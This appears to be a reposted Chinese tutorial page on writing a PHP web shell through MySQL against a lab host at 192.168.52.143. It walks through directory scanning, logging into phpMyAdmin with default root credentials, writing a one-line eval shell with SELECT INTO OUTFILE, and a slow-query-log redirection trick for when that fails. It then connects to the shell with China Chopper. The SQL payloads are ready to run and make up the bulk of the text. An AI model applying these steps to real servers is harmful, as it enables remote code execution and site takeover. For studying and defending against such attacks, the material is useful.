小课堂 -- 利用sql语句写入shell

简介: 小课堂 -- 利用sql语句写入shell

目标ip:192.168.52.143

一、御剑扫描该地址

 

image.png

 

获取到重要信息:

1、网站的绝对路径

image.png

 

2、phpmyadmin,并且是默认账号密码:root

 

image.png

 

二、登录数据口后台,写入一句话木马

select '<?php eval($_POST[x]);?>' into outfile 'c:/phpstudy/www/xx.php'

执行的时候报错

 

image.png

 

解决方法:

1、设置slow_query_log=1 启用慢查询日志。

 

image.png

 

2、修改slow_query_log_file日志文件的绝对路径以及文件名

set global slow_query_log_file='c:/phpstudy/www/xx.php'

 

image.png

 

3、向日志文件写入一句话

select '<?php eval($_POST[x]);?>' or sleep(11)

 

image.png

 

三、用菜刀链接

 

image.png

目录
相关文章
|
3月前
|
SQL 数据库
小课堂 -- 绕过去除特殊字符的sql注入
小课堂 -- 绕过去除特殊字符的sql注入
24 0
|
3月前
|
SQL
小课堂 -- sql注入绕过技术
小课堂 -- sql注入绕过技术
87 0
|
5月前
|
SQL 关系型数据库 Shell
postgresql|数据库|批量执行SQL脚本文件的shell脚本
postgresql|数据库|批量执行SQL脚本文件的shell脚本
128 0
|
12月前
|
Oracle 关系型数据库 数据库
新建Oracle 数据库的Shell+SQL脚本
不用图形界面,也不用DBCA的静默方式,下面是用Shell+SQL创建Oracle数据库的脚本。
134 0
|
12月前
|
SQL 关系型数据库 MySQL
SQL注入:为什么拿不到os-shell?
SQL注入:为什么拿不到os-shell?
|
SQL Shell PHP
某教程学习笔记(一):19、任意文件上传和sql语句拿shell
某教程学习笔记(一):19、任意文件上传和sql语句拿shell
79 0
某教程学习笔记(一):19、任意文件上传和sql语句拿shell
|
SQL 安全 Shell
42、利用sql语句写入shell
42、利用sql语句写入shell
84 0
42、利用sql语句写入shell
|
SQL Shell 数据库
shell 自动导出导入数据库,将导出的格式为 : 数据库名+时间.sql
mysqldump 自动导出mysql8 or mariadb10x 数据库工具,导入数据库工具,mysql 创建于删除数据库
148 0
|
SQL Oracle 关系型数据库
数据库基础认识概述课堂笔记【数据库SQL基础学习笔记2020课堂版01】
数据库基础认识概述课堂笔记【数据库SQL基础学习笔记2020课堂版01】
110 0
数据库基础认识概述课堂笔记【数据库SQL基础学习笔记2020课堂版01】
|
20天前
|
SQL 人工智能 算法
【SQL server】玩转SQL server数据库:第二章 关系数据库
【SQL server】玩转SQL server数据库:第二章 关系数据库
61 10